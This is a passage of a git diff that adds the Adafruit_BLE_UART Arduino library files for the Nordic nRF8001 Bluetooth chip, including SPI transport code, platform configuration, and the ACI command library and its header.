spi_readwrite(data_to_send.buffer[byte_sent_cnt++]); + // Send first byte, receive length from slave + received_data.buffer[0] = spi_readwrite(data_to_send.buffer[byte_sent_cnt++]); + if (0 == data_to_send.buffer[0]) + { + max_bytes = received_data.buffer[0]; + } + else + { + // Set the maximum to the biggest size. One command byte is already sent + max_bytes = (received_data.buffer[0] > (data_to_send.buffer[0] - 1)) + ? received_data.buffer[0] : (data_to_send.buffer[0] - 1); + } + + if (max_bytes > HAL_ACI_MAX_LENGTH) + { + max_bytes = HAL_ACI_MAX_LENGTH; + } + + // Transmit/receive the rest of the packet + for (byte_cnt = 0; byte_cnt < max_bytes; byte_cnt++) + { + received_data.buffer[byte_cnt+1] = spi_readwrite(data_to_send.buffer[byte_sent_cnt++]); + } + + HAL_IO_SET_STATE(HAL_IO_RADIO_REQN, 1); + //SPI.end() + //RDYN should follow the REQN line in approx 100ns + + sleep_enable(); + attachInterrupt(HAL_IO_RADIO_IRQ, m_rdy_line_handle, LOW); + + + + if (false == m_aci_q_is_empty(&aci_tx_q)) + { + //Lower the REQN line to start a new ACI transaction + HAL_IO_SET_STATE(HAL_IO_RADIO_REQN, 0); + } + + /* valid Rx available or transmit finished*/ + return (&received_data); +} + +static uint8_t spi_readwrite(const uint8_t aci_byte) +{ + return SPI.transfer(aci_byte); +} + +void m_aci_q_flush(void) +{ + noInterrupts(); + /* re-initialize aci cmd queue and aci event queue to flush them*/ + m_aci_q_init(&aci_tx_q); + m_aci_q_init(&aci_rx_q); + interrupts(); +} diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_platform.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_platform.h new file mode 100755 index 0000000..f0eeccd --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_platform.h @@ -0,0 +1,69 @@ +/* Copyright (c) 2011 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRENTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +#ifndef PLATFORM_H__ +#define PLATFORM_H__ + +/** @file +* @brief +*/ +#include "Arduino.h" + + +#define hal_pltf_clear_spi_master_config() do { SPCR = 0; } while(0) + +//SPI2X=1 SPS0=1 SPR0=1 -> 250KHz +//DORD=1 LSBit first +//SPE=1 Enable the SPI +//MSTR=1 Enable master mode +//CPOL=0 See Section 7 in the nRF8001 PS (Clock Polarity) +//CPHA=0 See Section 7 in the nRF8001 PS (Clock Phase) +/* +Atmega328 +Table 18-5. Relationship Between SCK and the Oscillator Frequency +SPI2X SPR1 SPR0 SCK Frequency +0 0 0 fosc/4 +0 0 1 fosc/16 +0 1 0 fosc/64 +0 1 1 fosc/128 +1 0 0 fosc/2 +1 0 1 fosc/8 +1 1 0 fosc/32 +1 1 1 fosc/64 +*/ +/* +#define hal_pltf_spi_master_config() do { \ + pinMode(SCK, OUTPUT);\ + pinMode(MOSI, OUTPUT);\ + pinMode(SS, OUTPUT);\ + pinMode(MISO, INPUT);\ + digitalWrite(SCK, LOW);\ + digitalWrite(MOSI, LOW);\ + digitalWrite(SS, HIGH);\ + SPCR = 0; \ + SPSR = 0; \ + SPSR = (1<pipes_open_bitmap[byte_idx] & (0x01 << (pipe % 8))) + { + return(true); + } + return(false); +} + + +bool lib_aci_is_pipe_closed(aci_state_t *aci_stat, uint8_t pipe) +{ + uint8_t byte_idx; + + byte_idx = pipe / 8; + if (aci_stat->pipes_closed_bitmap[byte_idx] & (0x01 << (pipe % 8))) + { + return(true); + } + return(false); +} + + +bool lib_aci_is_discovery_finished(aci_state_t *aci_stat) +{ + return(aci_stat->pipes_open_bitmap[0]&0x01); +} + + + + +void lib_aci_init(aci_state_t *aci_stat) +{ + uint8_t i; + + for (i = 0; i < PIPES_ARRAY_SIZE; i++) + { + aci_stat->pipes_open_bitmap[i] = 0; + aci_stat->pipes_closed_bitmap[i] = 0; + aci_cmd_params_open_adv_pipe.pipes[i] = 0; + } + + + + + is_request_operation_pending = false; + is_indicate_operation_pending = false; + is_open_remote_pipe_pending = false; + is_close_remote_pipe_pending = false; + cur_transaction_cmd = ACI_CMD_INVALID; + memorized_rcvd_cmd_opcode = ACI_CMD_INVALID; + memorized_transaction_cmd_opcode = ACI_CMD_INVALID; + cx_rf_interval = 0; + current_slave_latency = 0; + request_operation_pipe = 0; + indicate_operation_pipe = 0; + cur_error_code = 0; + p_rcvd_evt = NULL; + + p_services_pipe_type_map = aci_stat->aci_setup_info.services_pipe_type_mapping; + pipe_count = aci_stat->aci_setup_info.number_of_pipes; + p_setup_msgs = aci_stat->aci_setup_info.setup_msgs; + setup_msgs_count = aci_stat->aci_setup_info.num_setup_msgs; + + hal_aci_tl_init(); +} + + +uint8_t lib_aci_get_nb_available_credits(aci_state_t *aci_stat) +{ + return aci_stat->data_credit_available; +} + +uint16_t lib_aci_get_cx_interval_ms(aci_state_t *aci_stat) +{ + uint32_t cx_rf_interval_ms_32bits; + uint16_t cx_rf_interval_ms; + + cx_rf_interval_ms_32bits = aci_stat->connection_interval; + cx_rf_interval_ms_32bits *= 125; // the connection interval is given in multiple of 0.125 milliseconds + cx_rf_interval_ms = cx_rf_interval_ms_32bits / 100; + + return cx_rf_interval_ms; +} + + +uint16_t lib_aci_get_cx_interval(aci_state_t *aci_stat) +{ + return aci_stat->connection_interval; +} + + +uint16_t lib_aci_get_slave_latency(aci_state_t *aci_stat) +{ + return aci_stat->slave_latency; +} + + +bool lib_aci_set_app_latency(uint16_t latency, aci_app_latency_mode_t latency_mode) +{ + aci_cmd_params_set_app_latency_t aci_set_app_latency; + + aci_set_app_latency.mode = latency_mode; + aci_set_app_latency.latency = latency; + acil_encode_cmd_set_app_latency(&(msg_to_send.buffer[0]), &aci_set_app_latency); + + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_test(aci_test_mode_change_t enter_exit_test_mode) +{ + aci_cmd_params_test_t aci_cmd_params_test; + aci_cmd_params_test.test_mode_change = enter_exit_test_mode; + acil_encode_cmd_set_test_mode(&(msg_to_send.buffer[0]), &aci_cmd_params_test); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_sleep() +{ + acil_encode_cmd_sleep(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_radio_reset() +{ + acil_encode_baseband_reset(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_direct_connect() +{ + acil_encode_direct_connect(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_device_version() +{ + acil_encode_cmd_get_device_version(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_set_local_data(aci_state_t *aci_stat, uint8_t pipe, uint8_t *p_value, uint8_t size) +{ + aci_cmd_params_set_local_data_t aci_cmd_params_set_local_data; + + if ((p_services_pipe_type_map[pipe-1].location != ACI_STORE_LOCAL) + || + (size > ACI_PIPE_TX_DATA_MAX_LEN)) + { + return false; + } + + aci_cmd_params_set_local_data.tx_data.pipe_number = pipe; + memcpy(&(aci_cmd_params_set_local_data.tx_data.aci_data[0]), p_value, size); + acil_encode_cmd_set_local_data(&(msg_to_send.buffer[0]), &aci_cmd_params_set_local_data, size); + return hal_aci_tl_send(&msg_to_send); +} + +bool lib_aci_connect(uint16_t run_timeout, uint16_t adv_interval) +{ + aci_cmd_params_connect_t aci_cmd_params_connect; + aci_cmd_params_connect.timeout = run_timeout; + aci_cmd_params_connect.adv_interval = adv_interval; + acil_encode_cmd_connect(&(msg_to_send.buffer[0]), &aci_cmd_params_connect); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_disconnect(aci_state_t *aci_stat, aci_disconnect_reason_t reason) +{ + bool ret_val; + uint8_t i; + aci_cmd_params_disconnect_t aci_cmd_params_disconnect; + aci_cmd_params_disconnect.reason = reason; + acil_encode_cmd_disconnect(&(msg_to_send.buffer[0]), &aci_cmd_params_disconnect); + ret_val = hal_aci_tl_send(&msg_to_send); + // If we have actually sent the disconnect + if (ret_val) + { + // Update pipes immediately so that while the disconnect is happening, + // the application can't attempt sending another message + // If the application sends another message before we updated this + // a ACI Pipe Error Event will be received from nRF8001 + for (i=0; i < PIPES_ARRAY_SIZE; i++) + { + aci_stat->pipes_open_bitmap[i] = 0; + aci_stat->pipes_closed_bitmap[i] = 0; + } + } + return ret_val; +} + + +bool lib_aci_bond(uint16_t run_timeout, uint16_t adv_interval) +{ + aci_cmd_params_bond_t aci_cmd_params_bond; + aci_cmd_params_bond.timeout = run_timeout; + aci_cmd_params_bond.adv_interval = adv_interval; + acil_encode_cmd_bond(&(msg_to_send.buffer[0]), &aci_cmd_params_bond); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_wakeup() +{ + acil_encode_cmd_wakeup(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_set_tx_power(aci_device_output_power_t tx_power) +{ + aci_cmd_params_set_tx_power_t aci_cmd_params_set_tx_power; + aci_cmd_params_set_tx_power.device_power = tx_power; + acil_encode_cmd_set_radio_tx_power(&(msg_to_send.buffer[0]), &aci_cmd_params_set_tx_power); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_get_address() +{ + acil_encode_cmd_get_address(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_get_temperature() +{ + acil_encode_cmd_temparature(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_get_battery_level() +{ + acil_encode_cmd_battery_level(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_send_data(uint8_t pipe, uint8_t *p_value, uint8_t size) +{ + bool ret_val = false; + aci_cmd_params_send_data_t aci_cmd_params_send_data; + + + if(!((p_services_pipe_type_map[pipe-1].pipe_type == ACI_TX) || + (p_services_pipe_type_map[pipe-1].pipe_type == ACI_TX_ACK))) + { + return false; + } + + if (size > ACI_PIPE_TX_DATA_MAX_LEN) + { + return false; + } + { + aci_cmd_params_send_data.tx_data.pipe_number = pipe; + memcpy(&(aci_cmd_params_send_data.tx_data.aci_data[0]), p_value, size); + acil_encode_cmd_send_data(&(msg_to_send.buffer[0]), &aci_cmd_params_send_data, size); + is_cmd_response_expected = false; + ret_val = hal_aci_tl_send(&msg_to_send); + } + return ret_val; +} + + +bool lib_aci_request_data(aci_state_t *aci_stat, uint8_t pipe) +{ + bool ret_val = false; + aci_cmd_params_request_data_t aci_cmd_params_request_data; + + if(!((p_services_pipe_type_map[pipe-1].location == ACI_STORE_REMOTE)&&(p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX_REQ))) + { + return false; + } + + + { + + { + + + + aci_cmd_params_request_data.pipe_number = pipe; + acil_encode_cmd_request_data(&(msg_to_send.buffer[0]), &aci_cmd_params_request_data); + + ret_val = hal_aci_tl_send(&msg_to_send); + } + } + return ret_val; +} + + +bool lib_aci_change_timing(uint16_t minimun_cx_interval, uint16_t maximum_cx_interval, uint16_t slave_latency, uint16_t timeout) +{ + aci_cmd_params_change_timing_t aci_cmd_params_change_timing; + aci_cmd_params_change_timing.conn_params.min_conn_interval = minimun_cx_interval; + aci_cmd_params_change_timing.conn_params.max_conn_interval = maximum_cx_interval; + aci_cmd_params_change_timing.conn_params.slave_latency = slave_latency; + aci_cmd_params_change_timing.conn_params.timeout_mult = timeout; + acil_encode_cmd_change_timing_req(&(msg_to_send.buffer[0]), &aci_cmd_params_change_timing); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_change_timing_GAP_PPCP() +{ + acil_encode_cmd_change_timing_req_GAP_PPCP(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_open_remote_pipe(aci_state_t *aci_stat, uint8_t pipe) +{ + bool ret_val = false; + aci_cmd_params_open_remote_pipe_t aci_cmd_params_open_remote_pipe; + + if(!((p_services_pipe_type_map[pipe-1].location == ACI_STORE_REMOTE)&& + ((p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX)|| + (p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX_ACK_AUTO)|| + (p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX_ACK)))) + { + return false; + } + + + { + + is_request_operation_pending = true; + is_open_remote_pipe_pending = true; + request_operation_pipe = pipe; + aci_cmd_params_open_remote_pipe.pipe_number = pipe; + acil_encode_cmd_open_remote_pipe(&(msg_to_send.buffer[0]), &aci_cmd_params_open_remote_pipe); + ret_val = hal_aci_tl_send(&msg_to_send); + } + return ret_val; +} + + +bool lib_aci_close_remote_pipe(aci_state_t *aci_stat, uint8_t pipe) +{ + bool ret_val = false; + aci_cmd_params_close_remote_pipe_t aci_cmd_params_close_remote_pipe; + + if((p_services_pipe_type_map[pipe-1].location == ACI_STORE_REMOTE)&& + ((p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX)|| + (p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX_ACK_AUTO)|| + (p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX_ACK))) + { + return false; + } + + + { + + is_request_operation_pending = true; + is_close_remote_pipe_pending = true; + request_operation_pipe = pipe; + aci_cmd_params_close_remote_pipe.pipe_number = pipe; + acil_encode_cmd_close_remote_pipe(&(msg_to_send.buffer[0]), &aci_cmd_params_close_remote_pipe); + ret_val = hal_aci_tl_send(&msg_to_send); + } + return ret_val; +} + + +bool lib_aci_set_key(aci_key_type_t key_rsp_type, uint8_t *key, uint8_t len) +{ + aci_cmd_params_set_key_t aci_cmd_params_set_key; + aci_cmd_params_set_key.key_type = key_rsp_type; + memcpy((uint8_t*)&(aci_cmd_params_set_key.key), key, len); + acil_encode_cmd_set_key(&(msg_to_send.buffer[0]), &aci_cmd_params_set_key); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_echo_msg(uint8_t msg_size, uint8_t *p_msg_data) +{ + aci_cmd_params_echo_t aci_cmd_params_echo; + if(msg_size > (ACI_ECHO_DATA_MAX_LEN)) + { + return false; + } + + if (msg_size > (ACI_ECHO_DATA_MAX_LEN)) + { + msg_size = ACI_ECHO_DATA_MAX_LEN; + } + + memcpy(&(aci_cmd_params_echo.echo_data[0]), p_msg_data, msg_size); + acil_encode_cmd_echo_msg(&(msg_to_send.buffer[0]), &aci_cmd_params_echo, msg_size); + + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_bond_request() +{ + acil_encode_cmd_bond_security_request(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + +bool lib_aci_event_get(aci_state_t *aci_stat, hal_aci_evt_t *p_aci_evt_data) +{ + bool status; + status = hal_aci_tl_event_get((hal_aci_data_t *)p_aci_evt_data); + + /** + Update the state of the ACI witn the + ACI Events -> Pipe Status, Disconnected, Connected, Bond Status, Pipe Error + */ + { + aci_evt_t * aci_evt; + + aci_evt = &p_aci_evt_data->evt; + + switch(aci_evt->evt_opcode) + { + case ACI_EVT_PIPE_STATUS: + { + uint8_t i=0; + + for (i=0; i < PIPES_ARRAY_SIZE; i++) + { + aci_stat->pipes_open_bitmap[i] = aci_evt->params.pipe_status.pipes_open_bitmap[i]; + aci_stat->pipes_closed_bitmap[i] = aci_evt->params.pipe_status.pipes_closed_bitmap[i]; + } + } + break; + + case ACI_EVT_DISCONNECTED: + { + uint8_t i=0; + + for (i=0; i < PIPES_ARRAY_SIZE; i++) + { + aci_stat->pipes_open_bitmap[i] = 0; + aci_stat->pipes_closed_bitmap[i] = 0; + } + aci_stat->confirmation_pending = false; + aci_stat->data_credit_available = aci_stat->data_credit_total; + + } + break; + + case ACI_EVT_TIMING: + aci_stat->connection_interval = aci_evt->params.timing.conn_rf_interval; + aci_stat->slave_latency = aci_evt->params.timing.conn_slave_rf_latency; + aci_stat->supervision_timeout = aci_evt->params.timing.conn_rf_timeout; + break; + + + } + + } + + return status; +} + + +bool lib_aci_send_ack(aci_state_t *aci_stat, const uint8_t pipe) +{ + bool ret_val = false; + { + acil_encode_cmd_send_data_ack(&(msg_to_send.buffer[0]), pipe); + is_cmd_response_expected = false; + ret_val = hal_aci_tl_send(&msg_to_send); + } + return ret_val; +} + + +bool lib_aci_send_nack(aci_state_t *aci_stat, const uint8_t pipe, const uint8_t error_code) +{ + bool ret_val = false; + + { + is_cmd_response_expected = false; + acil_encode_cmd_send_data_nack(&(msg_to_send.buffer[0]), pipe, error_code); + ret_val = hal_aci_tl_send(&msg_to_send); + } + return ret_val; +} + + +bool lib_aci_broadcast(const uint16_t timeout, const uint16_t adv_interval) +{ + aci_cmd_params_broadcast_t aci_cmd_params_broadcast; + if (timeout > 16383) + { + return false; + } + + // The adv_interval should be between 160 and 16384 (which translates to the advertisement + // interval values 100 ms and 10.24 s. + if ((160 > adv_interval) || (adv_interval > 16384)) + { + return false; + } + + aci_cmd_params_broadcast.timeout = timeout; + aci_cmd_params_broadcast.adv_interval = adv_interval; + acil_encode_cmd_broadcast(&(msg_to_send.buffer[0]), &aci_cmd_params_broadcast); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_open_adv_pipes(const uint8_t * const adv_service_data_pipes) +{ + uint8_t i; + + for (i = 0; i < PIPES_ARRAY_SIZE; i++) + { + aci_cmd_params_open_adv_pipe.pipes[i] = adv_service_data_pipes[i]; + } + + acil_encode_cmd_open_adv_pipes(&(msg_to_send.buffer[0]), &aci_cmd_params_open_adv_pipe); + return hal_aci_tl_send(&msg_to_send); +} + +bool lib_aci_open_adv_pipe(const uint8_t pipe) +{ + uint8_t byte_idx = pipe / 8; + + aci_cmd_params_open_adv_pipe.pipes[byte_idx] |= (0x01 << (pipe % 8)); + acil_encode_cmd_open_adv_pipes(&(msg_to_send.buffer[0]), &aci_cmd_params_open_adv_pipe); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_read_dynamic_data() +{ + acil_encode_cmd_read_dynamic_data(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_write_dynamic_data(uint8_t sequence_number, uint8_t* dynamic_data, uint8_t length) +{ + acil_encode_cmd_write_dynamic_data(&(msg_to_send.buffer[0]), sequence_number, dynamic_data, length); + return hal_aci_tl_send(&msg_to_send); +} + +bool lib_aci_dtm_command(uint8_t dtm_command_msbyte, uint8_t dtm_command_lsbyte) +{ + aci_cmd_params_dtm_cmd_t aci_cmd_params_dtm_cmd; + aci_cmd_params_dtm_cmd.cmd_msb = dtm_command_msbyte; + aci_cmd_params_dtm_cmd.cmd_lsb = dtm_command_lsbyte; + acil_encode_cmd_dtm_cmd(&(msg_to_send.buffer[0]), &aci_cmd_params_dtm_cmd); + return hal_aci_tl_send(&msg_to_send); +} + +void lib_aci_flush(void) +{ + m_aci_q_flush(); +} + +void lib_aci_debug_print(bool enable) +{ + hal_aci_debug_print(enable); +} + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/lib_aci.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/lib_aci.h new file mode 100755 index 0000000..bb1bf16 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/lib_aci.h @@ -0,0 +1,507 @@ +/* Copyright (c) 2009 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRENTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ +/* Attention! +* To maintain compliance with Nordic Semiconductor ASA’s Bluetooth profile +* qualification listings, this section of source code must not be modified. +*/ + +#ifndef LIB_ACI_H__ +#define LIB_ACI_H__ + +/** @file +* @brief ACI library +*/ + +/** @addtogroup lib_aci +@{ +@brief Library for the logical part of the Application Controller Interface (ACI) +*/ + + +#include "hal_platform.h" +#include "hal/hal_aci_tl.h" +#include "aci.h" +#include "aci_cmds.h" +#include "aci_evts.h" + + + + +#define EVT_CMD_RESPONSE_MIN_LENGTH 3 + +#define PIPES_ARRAY_SIZE ((ACI_DEVICE_MAX_PIPES + 7)/8) + +/* Same size as a hal_aci_data_t */ +typedef struct hal_aci_evt_t{ + uint8_t debug_byte; + aci_evt_t evt; +} hal_aci_evt_t; + +typedef struct +{ + uint8_t location; /**< enum aci_pipe_store_t */ + aci_pipe_type_t pipe_type; +} services_pipe_type_mapping_t; + +typedef struct aci_setup_info_t +{ + services_pipe_type_mapping_t *services_pipe_type_mapping; + uint8_t number_of_pipes; + hal_aci_data_t *setup_msgs; + uint8_t num_setup_msgs; +} aci_setup_info_t; + +// aci_struct that will contain +// total initial credits +// current credit +// current state of the aci (setup/standby/active/sleep) +// open remote pipe pending +// close remote pipe pending +// Current pipe available bitmap +// Current pipe closed bitmap +// Current connection interval, slave latency and link supervision timeout +// Current State of the the GATT client (Service Discovery status) +// Relationship of bond to peer address +typedef struct aci_state_t +{ + aci_setup_info_t aci_setup_info; /* Data structures that are created from nRFgo Studio */ + uint8_t bonded; /* ( aci_bond_status_code_t ) Is the nRF8001 bonded to a peer device */ + uint8_t data_credit_total; /* Total data credit available for the specific version of the nRF8001, total equals available when a link is established */ + aci_device_operation_mode_t device_state; /* Operating mode of the nRF8001 */ + + /* Start : Variables that are valid only when in a connection */ + uint8_t data_credit_available; /* Available data credits at a specific point of time, ACI_EVT_DATA_CREDIT updates the available credits */ + + uint16_t connection_interval; /* Multiply by 1.25 to get the connection interval in milliseconds*/ + uint16_t slave_latency; /* Number of consecutive connection intervals that the nRF8001 is not required to transmit. Use this to save power */ + uint16_t supervision_timeout; /* Multiply by 10 to get the supervision timeout in milliseconds */ + + uint8_t pipes_open_bitmap[PIPES_ARRAY_SIZE]; /* Bitmap -> pipes are open and can be used for sending data over the air */ + uint8_t pipes_closed_bitmap[PIPES_ARRAY_SIZE]; /* Bitmap -> pipes are closed and cannot be used for sending data over the air */ + bool confirmation_pending; /* Attribute protocol Handle Value confirmation is pending for a Handle Value Indication + (ACK is pending for a TX_ACK pipe) on local GATT Server*/ + /* End : Variables that are valid only when in a connection */ + +} aci_state_t; + + + +#define DISCONNECT_REASON_CX_TIMEOUT 0x08 +#define DISCONNECT_REASON_CX_CLOSED_BY_PEER_DEVICE 0x13 +#define DISCONNECT_REASON_POWER_LOSS 0x14 +#define DISCONNECT_REASON_CX_CLOSED_BY_LOCAL_DEVICE 0x16 +#define DISCONNECT_REASON_ADVERTISER_TIMEOUT 0x50 + + +/** @name Functions for library management */ +//@{ + +/** @brief Function to enable printing of all ACI commands sent and ACI events received + * @details This function shall be used to enable or disable the debug printing. + Debug printing is disabled by default. + */ +void lib_aci_debug_print(bool enable); + +/** @brief Initialization function. + * @details This function shall be used to initialize/reset ACI Library and also Resets the nRF8001 by togging the reset pin of the nRF8001. This function will reset + * all the variables locally used by ACI library to their respective default values. + */ +void lib_aci_init(aci_state_t *aci_stat); + + +/** @brief Gets the number of currently available ACI credits. + * @return Number of ACI credits. + */ +uint8_t lib_aci_get_nb_available_credits(aci_state_t *aci_stat); + +/** @brief Gets the connection interval in milliseconds. + * @return Connection interval in milliseconds. + */ +uint16_t lib_aci_get_cx_interval_ms(aci_state_t *aci_stat); + +/** @brief Gets the connection interval in multiple of 1.25 ms. + * @return Connection interval in multiple of 1.25 ms. + */ +uint16_t lib_aci_get_cx_interval(aci_state_t *aci_stat); + +/** @brief Gets the current slave latency. + * @return Current slave latency. + */ +uint16_t lib_aci_get_slave_latency(aci_state_t *aci_stat); + +/** @brief Checks if a given pipe is available. + * @param pipe Pipe to check. + * @return True if the pipe is available, otherwise false. + */ +bool lib_aci_is_pipe_available(aci_state_t *aci_stat, uint8_t pipe); + +/** @brief Checks if a given pipe is closed. + * @param pipe Pipe to check. + * @return True if the pipe is closed, otherwise false. + */ +bool lib_aci_is_pipe_closed(aci_state_t *aci_stat, uint8_t pipe); + +/** @brief Checks if the discovery operation is finished. + * @return True if the discovery is finished. + */ +bool lib_aci_is_discovery_finished(aci_state_t *aci_stat); + + + +//@} + +/** @name ACI Commands available in all modes */ +//@{ + +/** @brief Sets the radio in sleep mode. + * @details The function sends a @c sleep command to the radio. + * If the radio is advertising or connected, it sends back an error, then use lib_aci_radio_reset + * if advertising or disconnect if in a connection. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_sleep(void); + +/** @brief Resets the radio. + * @details The function sends a @c BasebandReset command to the radio. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_radio_reset(void); + +/** @brief Radio starts directed advertising to bonded device. + * @details The function sends a @c DirectedConnect command to the radio. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_direct_connect(void); + +/** @brief Gets the radio's version. + * @details This function sends a @c GetDeviceVersion command. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_device_version(void); + +/** @brief Gets the device address. + * @details This function sends a @c GetDeviceAddress command. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_get_address(void); + +/** @brief Gets the temperature. + * @details This function sends a @c GetTemperature command. lib_aci + * calls the @ref lib_aci_transaction_finished_hook() function when the temperature is received. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_get_temperature(void); + +/** @brief Gets the battery level. + * @details This function sends a @c GetBatteryLevel command. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_get_battery_level(void); + +//@} + +/** @name ACI commands available in Sleep mode */ +//@{ + +/** @brief Wakes up the radio. + * @details This function sends a @c Wakeup command to wake up the radio from + * sleep mode. When woken up the radio sends a @c DeviceStartedEvent and + * a @c CommandResponseEvent. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_wakeup(void); + +//@} + +/** @name ACI commands available in Active mode */ +//@{ + +/** @brief Sets the radio in test mode. + * @details This function sends a @c Test command to the radio. There are two + * Test modes available: + * - UART: DTM commands are received over UART. + * - ACI: DTM commands are received over ACI. + * The same command is used to exit the test mode When receiving + * a @c DeviceStartedEvent the radio has entered the new mode. + * @param enter_exit_test_mode Enter a Test mode, or exit Test mode. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_test(aci_test_mode_change_t enter_exit_test_mode); + +/** @brief Sets the radio's TX power. + * @details This function sends a @c SetTxPower command. + * @param tx_power TX power to be used by the radio. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_set_tx_power(aci_device_output_power_t tx_power); + +/** @brief Tries to connect to a peer device. + * @details This function sends a @c Connect command to the radio. + * @param run_timeout Maximum advertising time in seconds (0 means infinite). + * @param adv_interval Advertising interval (in multiple of 0.625 ms). + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_connect(uint16_t run_timeout, uint16_t adv_interval); + +/** @brief Tries to bond with a peer device. + * @details This function sends a @c Bond command to the radio. + * @param run_timeout Maximum advertising time in seconds (0 means infinite). + * @param adv_interval Advertising interval (in multiple of 0.625 ms). + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_bond(uint16_t run_timeout, uint16_t adv_interval); + +/** @brief Disconnects from peer device. + * @details This function sends a @c Disconnect command to the radio. + * @param reason Reason for disconnecting. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_disconnect(aci_state_t *aci_stat, aci_disconnect_reason_t reason); + +/**@brief Sets Local Data. + * @details + * This command updates the value of the characteristic value or the characteristic descriptor stored locally on the device. + * Can be called for all types of pipes as long as the data is stored locally. + * @param ACI state structure + * @param pipe Pipe number on which the data should be set. + * @param value Pointer to the data to set. + * @param size Size of the data to set. + * @return True if the transaction is successfully initiated. +*/ +bool lib_aci_set_local_data(aci_state_t *aci_stat, uint8_t pipe, uint8_t *value, uint8_t size); + +/** @brief Sends Broadcast message to the radio. + * @details The Broadcast message starts advertisement procedure + * using the given interval with the intention of broadcasting data to a peer device. + * @param timeout Time, in seconds, to advertise before exiting to standby mode (0 means infinite). + * Valid values: 0 to 16383. + * @param adv_interval Advertising interval (in multiple of 0.625 ms). + * Valid values: 160 to 16384 (which corresponds to an interval from 100 ms to 10.24 s). + * @return True if the broadcast message is sent successfully to the radio. +*/ +bool lib_aci_broadcast(const uint16_t timeout, const uint16_t adv_interval); + +/** @name Open Advertising Pipes. */ + +/** @brief Sends a command to the radio to set the input pipe to be placed in Advertisement Service Data. + * @details This function sends a command to the radio that places the pipe in + * advertisement service data. To start advertising service data, call this function before + * Connecting, Broadcasting or Bonding to peer. The data that should be sent in the advertisement packets + * must be set using the @c lib_aci_set_local_data function. This function can be called during + * advertising to enable/disable broadcast pipes. + * @param pipe The pipe that has to be placed in advertising service data. + * @return True if the Open Adv Pipe message is sent successfully to the radio. +*/ +bool lib_aci_open_adv_pipe(const uint8_t pipe); + + +/** @name Open Advertising Pipes */ + +/** @brief Sends a command to the radio to set the pipes to be placed in Advertisement Service Data. + * @details This function will send a command to the radio that will set the pipes to be placed in + * advertisement Service Data. To start advertising service data, this function should be called before + * Connecting, Broadcasting or Bonding to peer. This function can be called during + * advertising to enable/disable broadcast pipes. Use this as an alternative to @ref lib_aci_open_adv_pipe + * to avoid multiple function calls for placing multiple pipes in the adv data. + * @param adv_service_data_pipes Pipe bitmap, where '1' indicates that the corresponding + * Valid Values: 0000000000000000 to FEFFFFFFFFFFFF7F (See the ACI Pipe Status Evt bitmap in the nRF8001 datasheet + * TX_BROADCAST pipe data is to be placed in Advertising Service Data fields + * @return true if the Open Adv Pipe message was sent successfully to the radio. +*/ +bool 